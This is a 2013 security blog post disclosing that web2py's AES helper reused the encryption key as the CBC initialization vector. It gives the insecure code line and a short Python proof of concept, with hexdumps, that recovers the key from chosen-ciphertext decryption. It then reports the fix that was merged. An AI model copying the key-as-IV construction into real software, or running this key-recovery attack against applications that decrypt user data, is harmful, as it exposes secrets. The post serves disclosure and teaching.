tssci security

web2py: Key as Initialization Vector

It's not uncommon for developers to accidentally (or purposefully) commit passwords or other information supposed to remain secret into revision control. It's also not uncommon to see RSA private keys indexed by Google, and GitHub made it even easier to find secrets in the code with their new search features. These same search features make it easy to grep the web for all kinds of insecure code patterns, especially insecure cryptographic constructions. For example, a simple search for AES.new( in Python code repositories revealed to me the web2py project was using the encryption key as the initialization vector (IV), which is the focus of this blog post.

Why is this bad? Well, in an email to the sci.crypt mailing list back in 1996, David Wagner explains why you should never do this.

Let's take a look at the insecure construction in web2py's gluon.utils module prior to merging my pull request that fixed this issue.

from Crypto.Cipher import AES


AES_new = lambda key: AES.new(key, AES.MODE_CBC, IV=key[:16])

From an attacker's perspective (in short), if we can control the ciphertext being fed to this function, and see the output of this function (the decrypted) text, we can easily deduce the key used to perform the encryption. The following code demonstrates this:

KEY = 'testtesttesttest'
PTEXT = 'The quick brown fox jumped over the lazy dog.The quick brown fox'

def xor(a, b):
  return bytearray(x ^ y for x, y in zip(a, b))

def exploit():
  # ciphertext produced by web2py
  ctext = bytearray(AES_new(KEY).encrypt(PTEXT))

  # our (malformed) ciphertext we plan to feed to web2py
  mtext = ctext[:16] * 4
  mtext[16:32] = [0x0] * 16

  # if at any point we identify what the decrypted data is
  ptext = bytearray(AES_new(KEY).decrypt(str(mtext)))

  # we can easily recover the secret key used:
  print('KEY: %r' % (str(xor(ptext[:16], ptext[32:48])), ))

Running this exploit returns the following (I've included hexdumps at each step of the way):

>>> exploit()
ctext: b9561dc60a622f09f8cb49f47a30719a19ef66aa2ea6f7772a15e81b722830fbea38af2c1fdbbf6340e9707592aadfd4ce57b982597eb1e93cc311f25ea73b5d

0x00: b9 56 1d c6 0a 62 2f 09 f8 cb 49 f4 7a 30 71 9a .V...b....I.z0q.
0x10: 19 ef 66 aa 2e a6 f7 77 2a 15 e8 1b 72 28 30 fb ..f....w....r.0.
0x20: ea 38 af 2c 1f db bf 63 40 e9 70 75 92 aa df d4 .8.....c..pu....
0x30: ce 57 b9 82 59 7e b1 e9 3c c3 11 f2 5e a7 3b 5d .W..Y...........

mtext: b9561dc60a622f09f8cb49f47a30719a00000000000000000000000000000000b9561dc60a622f09f8cb49f47a30719ab9561dc60a622f09f8cb49f47a30719a

0x00: b9 56 1d c6 0a 62 2f 09 f8 cb 49 f4 7a 30 71 9a .V...b....I.z0q.
0x10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x20: b9 56 1d c6 0a 62 2f 09 f8 cb 49 f4 7a 30 71 9a .V...b....I.z0q.
0x30: b9 56 1d c6 0a 62 2f 09 f8 cb 49 f4 7a 30 71 9a .V...b....I.z0q.

ptext: 54686520717569636b2062726f776e20520b27652be2f4a1c978b57c0967a34c200d165405101a171f4511061b121d54995b0b920f72351ee78e58f261226cce

0x00: 54 68 65 20 71 75 69 63 6b 20 62 72 6f 77 6e 20 The.quick.brown.
0x10: 52 0b 27 65 2b e2 f4 a1 c9 78 b5 7c 09 67 a3 4c R..e.....x...g.L
0x20: 20 0d 16 54 05 10 1a 17 1f 45 11 06 1b 12 1d 54 ...T.....E.....T
0x30: 99 5b 0b 92 0f 72 35 1e e7 8e 58 f2 61 22 6c ce .....r5...X.a.l.

KEY: testtesttesttest

Is web2py vulnerable?

In short, no. The manner in which AES_new was used across web2py's codebase did not appear to be exploitable. web2py was using this to encrypt pickled session data in a cookie in secure_dumps, and authenticated with an HMAC (which coincidentally was also vulnerable to a timing attack). However, applications that use AES_new as a convenience function for decrypting data provided by the user are most likely vulnerable, amongst other vulnerabilities that tend to crop up when rolling your own crypto.

If you've been keeping up with web2py's master, my merged pull request patches the AES_new function to return a random IV anytime it is invoked and utilizes the more secure, constant-time compare function to validate HMAC's.

Posted by Marcin on Thursday, February 21, 2013 in Security.

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